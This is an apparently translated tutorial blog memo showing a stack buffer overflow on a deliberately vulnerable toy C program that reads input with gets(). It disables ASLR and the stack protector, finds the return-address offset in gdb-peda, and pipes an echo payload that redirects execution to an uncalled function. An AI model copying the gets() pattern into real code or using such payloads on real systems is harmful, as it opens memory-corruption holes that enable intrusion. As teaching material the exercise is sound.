[LINUX] Cause a buffer overflow and execute an arbitrary function.

Cause a buffer overflow and execute an arbitrary function.

A buffer overflow occurs in a program on C language and the return address is rewritten. Since there were few articles summarizing how to call other functions from the main function, I will leave it as a memo.

Execution environment CentOS 6.10 GNOME 2.26.2

Since gdb-peda is used, it is assumed that the installation there has been completed. If you have not installed it, please click here. Introduction to gdbpeda

First, prepare the program you want to buffer over.

#include <stdio.h> 
#include <stdlib.h> 

int main(void){ 
 char first[] = "!!Hello World!!"; 
 char buf[16]; 


 puts(">>"); 
 gets(buf); 
 puts(first); 
 puts("that \'s All Fork!"); 
 return EXIT_SUCCESS; 
} 
int sub(){ 
 puts("Something wrong"); 
} 

compile

First turn off ASLR

sudo sysctl -w kernel.randomize_va_space=0 
compile

PIE, stack protector disabled and compiled

gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC 

Find the offset to the return address

First, start gdb

$ gdb HelooWorld 

Create a random string

$ (gdb) pattern_create 50

Run

$ (gdb) r

Enter the random character string from earlier.

Then, it causes a buffer overflow and stops like this. image.png

Make a note of the RSP address string here

Searching for offset strings

$ (gdb)patto "RSP string here"

This will give you the offset of the address. This time it turned out to be 40.

Find out the address you want to execute next.

Before checking the location of the address, check the state of buffer overflow again with gdb.

Run

$ (gdb) r
  1. Put an appropriate character string and buffer overflow

Then enter the name of the function you want to execute in the disass command. Here it is sub.

$ (gdb) disass sub

image.png When you run it, it looks like this

Make a note of the top address here.

Enter the address by shifting the offset value obtained earlier.

Note that you enter it in hexadecimal. It is convenient to use the echo command.

In this case, it will be as follows.

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld 

result

You can see that the sub () function is called like this! image.png

Impressions

It's easy like this, but I wrote an example of the operation. Depending on the environment, things didn't go well, so I thought that trial and error was important. I hope this article will help you in that case.

Recommended Posts

Cause a buffer overflow and execute an arbitrary function.
I want to pass an argument to a python function and execute it from PHP on a web server
The real cause of the Jubatus client spitting out a timeout and dropping an error